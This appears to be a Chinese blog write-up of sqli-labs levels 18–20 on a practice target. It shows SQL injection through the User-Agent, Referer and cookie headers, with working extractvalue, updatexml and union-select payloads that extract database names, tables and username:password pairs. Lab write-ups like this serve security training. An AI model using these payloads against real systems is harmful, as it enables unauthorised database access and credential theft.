less18 基于错误的用户代理，头部POST注入

admin
admin
登入成功（进不去重置数据库）
显示如下

有user agent参数，可能存在注入点

显示版本号：

爆库：User-Agent:'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '

库名：

less19基于头部的RefererPOST报错注入

抓包
admin登陆什么也没有
在referer后加单引号有回显sql语法错误
然后就和 18一样了：Referer: 'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '
爆库：

less20 基于错误的cookie头部POST注入

admin登陆：

本关登录成功后用户名会存储在cookie中,且通过该参数执行SQL语句

登录成功之后会设置里面的cookie 当二次刷新的时候这时候会重新从里面取值弄，并且这次取值没有经过过滤直接就是注入点还是使用updatexml的函数进行报错

方法一：
cookie注入：uname=admin' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) #

方法2：
cookie 后加单引号出现报错，说明cookie处存在注入点

'order by 3 --+      // 回显正常
'order by 4 --+         // 回显错误//说明行数有3个，即3个显示位

爆库名：

之后就是爆表：

union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

爆字段：

union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

爆值：

union select 1,2,group_concat(username,0x3a,password) from users--+

sqli-lab————Writeup（18~20）各种头部注入相关推荐

网络安全——HTTP头部注入
一.HTTP头部注入概述 1.HTTP工作原理 2.HTTP报文类型 (1).请求报文 (2).响应报文 3.HTTP头部内容 referer主要用来统计页面访问次数二.HTTP头部注入 1.原理: ...
Fedora 15 16 17 18 20无线网卡驱动安装
Fedora 15 16 17 18 20无线网卡驱动安装一直不想在虚拟机中安装使用系统,然后就打算给自己的电脑安装一个双系统,因对Fedora有比较好的印象,也就还是选用了它作为我的第二系统.废话 ...
SOL注入——HTTP头部注入(2)（七）
本章目的普及HTTP头部字段User-Agent.Referer.Cookie.X-Forwarded-For等的含义和作用,掌握HTTP头部注入的原理.方法及基本流程. HTTPHeader概述 ...
SOL注入——HTTP头部注入（六）
本章目的普及HTTP头部字段User-Agent.Referer.Cookie.X-Forwarded-For等的含义和作用,掌握HTTP头部注入的原理.方法及基本流程. HTTPHeader概述 ...
2016年10月9日星期日 --出埃及记 Exodus 18:20
2016年10月9日星期日 --出埃及记 Exodus 18:20 Teach them the decrees and laws, and show them the way to live an ...
SQL注入--HTTP头部注入
实验目的理解HTTP头部字段User-Agent.Referer.Cookie.X-Forwarded-For等的含义和作用,掌握HTTP头部注入的原理.方法及基本流程. 实验原理有时候,后台开 ...
SQL注入-HTTP头部注入
访问SQLi-Labs网站在攻击机Pentest-Atk打开FireFox浏览器,并访问靶机A-SQLi-Labs上的SQLi-Labs网站Less-11.访问的URL为: http://[靶机IP ...
host头部注入漏洞--中危
host头部注入漏洞--中危漏洞原理漏洞知识扩展漏洞验证情况一情况二修复方案漏洞原理为了方便获取网站域名,开发人员一般依赖于请求包中的Host首部字段.例如,在php里用_SERVER ...
SQL注入——HTTP头部注入
实验目的理解HTTP头部字段User-Agent.Referer.Cookie.X-Forwarded-For等的含义和作用,掌握HTTP头部注入的原理.方法及基本流程. 实验原理有时候,后台开 ...

sqli-lab————Writeup（18~20）各种头部注入

less18 基于错误的用户代理，头部POST注入

less19基于头部的RefererPOST报错注入

less20 基于错误的cookie头部POST注入

sqli-lab————Writeup（18~20）各种头部注入相关推荐

最新文章

热门文章